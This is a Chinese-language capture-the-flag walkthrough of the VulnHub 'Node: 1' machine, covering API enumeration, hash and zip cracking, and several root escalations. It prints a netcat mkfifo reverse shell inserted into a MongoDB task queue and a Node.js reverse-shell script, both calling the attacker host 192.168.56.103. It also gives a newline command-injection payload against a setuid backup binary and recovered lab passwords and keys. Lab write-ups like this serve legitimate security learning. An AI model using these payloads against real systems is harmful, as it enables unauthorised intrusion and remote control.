**
VulnHub-Node: 1-Walkthrough
**
靶机地址:https://www.vulnhub.com/entry/node-1,252/
靶机难度:中级(CTF)
靶机发布日期:2018年8月7日
靶机描述:
节点是中等级别的boot2root挑战,最初是为HackTheBox创建的。有两个标志(用户和根标志)和多种不同的技术可以使用。OVA已在VMware和Virtual Box上进行了测试
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-01-23
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
我们已经找到了此次CTF目标计算机IP地址:192.168.56.130
nmap查看到22和3000端口已经开启…(又是Node.js)前几章也有类似的
使用默认密码无法登录…
还使用了dirb,nikto和uniscan去爆破,但是返回的地址都在主页上…没啥别的有用信息…
回主页查看下前端源码看看…
该站点使用的javascript文件,并且使用了angular.min.js文件来搭建…
这边一个一个打开看看…
在profile.js和home.js文件中找到了几个GET请求…
这边可以用burpsuit或者curl查看底层链接情况…
命令:curl IP+端口+目录…
可以看到/api/users/存在四个用户…/api/users/latest存在三个用户…
链接:
https://www.onlinehashcrack.com/hash-identification.php
https://crackstation.net/
http://finder.insidepro.team/
以上都可以进行哈希破解…
这边得到了四个用户名和密码…
myP14ceAdm1nAcc0uNT和manchester
tom和spongebob
mark和snowflake
rastating没解析出来…
我们登陆看看…
tom和mark用户登陆都不是管理员界面,上图是用了myP14ceAdm1nAcc0uNT和manchester进行登陆,下载备份文件…
文件下载下来发现是base64的文件…
我用base64 -d 解码到文件夹打开发现是乱码…
原来是zip类型的文件…
命令:fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt dayu.zip
参数 描述
-D 指定方式为字典猜解
-p 指定猜解字典的路径
-u 表示只显示破解出来的密码,其他错误的密码不显示出
解压密码破解出来了…magicword
熟悉node.js的同学应该会了解app.js的作用,它是程序启动文件,里面存储着重要配置信息,从该文件中,获取到mongodb的配置信息…
5AYRft73VtFpc84k
二、提权
成功登陆mark用户…
命令cat /etc/*-release
linux 4.4.0版本…
在漏洞库里搜索了下,发现就44298适合,别的40871我试了不成功…
将shell上传到靶机上,然后GCC编译,执行提权即可…
还发现了另外一种提权的方法…获得了user和root文本内容…
另外几种提权方法:
看到/var/scheduler/app.js的tom用户下运行的调度程序应用程序…
可以获得的信息…
可以链接到Mongo数据库…doc.cmd每个带有字段cmd的文档上执行…每30秒setInterval调用一次函数并执行…
命令:mongo -u mark -p 5AYRft73VtFpc84k scheduler
命令:show collections
命令:db.tasks.find({})
命令:db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f"})
命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f
使用mark的凭据访问Mongo数据库,插入一个新文档以在“ cmd”字段中添加一个反向shell命令,本地开启NC监听,执行的命令和脚本参考…可以查看到第一个user的标志…
当然这里还有别的方法在JavaScript中创建一个反向shell…
命令:1、mongo -u mark -p 5AYRft73VtFpc84k scheduler
2、show collections
3、db.tasks.findOne()
4、db.tasks.insert({"cmd": "/usr/bin/node /tmp/dayushell.js"})
shell:
- (function(){
var net = require(“net”),
cp = require(“child_process”),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, “192.168.56.103”, function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
在/tmp/目录写入一个shell,然后就可以对mongodb通过mark凭据建立与凭证进行链接…等待30秒即可获得权限…
继续下一步,查看下tom用户下的信息…
在/usr/local/bin目录中发现backup二进制可执行文件…看到管理组中的任何用户都可以执行二进制文件…但在运行二进制文件时,它将以root特权运行…前面可以看到我们tom用户在admin用户组中…
这边app.js的key是:45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
这边有两种方式提权,在app.js中或者backup中放入密匙即可…
开始
这边用/usr/local/bin/backup -q <backup_key> 来执行…
目录这边可以用/etc/或者/root/,使用这两个目录才会产生base64字符串…
该字符串可以按照与之前的myplace.backup文件完全相同的方式进行解码和解压缩…
我们直接strings查看下把…
可以从该命令的输出推断出,如果directory参数是/root或/etc,则返回上面的硬编码base64长字符串,否则,二进制文件将运行/usr/bin/zip -r -P magicword %s %s > /dev/null…
由于脚本是加压缩文件…我希望执行以下命令: - /usr/bin/zip -r -P magicworld any_directory
/bin/bash
any_command > /dev/null
需要绕过/dev/null重定向…
现在要做的就是:
需要将字符串作为第三个参数传递给二进制可执行文件,该二进制可执行文件带有多个\n字符,以打印新行,然后当/bin/bash执行时,我们将具有root访问权限,因为二进制文件以root身份运行,添加了最终命令,使bash会话的输出不会重定向到/dev/null即可…(不懂的多理解几遍…)
命令:/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(echo '/any_directory\n/bin/bash\nany_command')"
注意:此命令在前面看到的python代码段创建的伪终端内不起作用的,必须首先通过在psuedo-terminal内键入exit或通过以用户tom身份重新连接而完全不运行python代码段来留下该伪终端,才可以执行成功!!
可以看到,成功利用zip插入了shell获得root权限…
这里我在将另外两种方法…别嫌多,这是我累积这么多篇来的成果吧…
一种是在获得mark的账号ssh登录后用linux/local/bpf_sign_extension_priv_esc可以直接提权成为root,这是利用了CVE-2017-16995 这个漏洞去提权…
最后是缓冲区溢出…
- gzip -c < /usr/local/bin/backup > /tmp/backup.gz
base64 < /tmp/backup.gz
H4sIAL7Zq1kAA+ybe3Qb…查看到的值…AAA
echo H4sIAL…AAA== > backup.gz.b64
base64 -d < backup.gz.b64 > backup.gz
gunzip -c < backup.gz > backup
用以上命令进行将backup考到kali或者本地计算机上使用IDA或者gdb进行分析…有缓冲区溢出…这里我没有继续进行尝试…我留着以后回来挑战缓冲区溢出的方法…
由于我们已经成功得到root权限,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。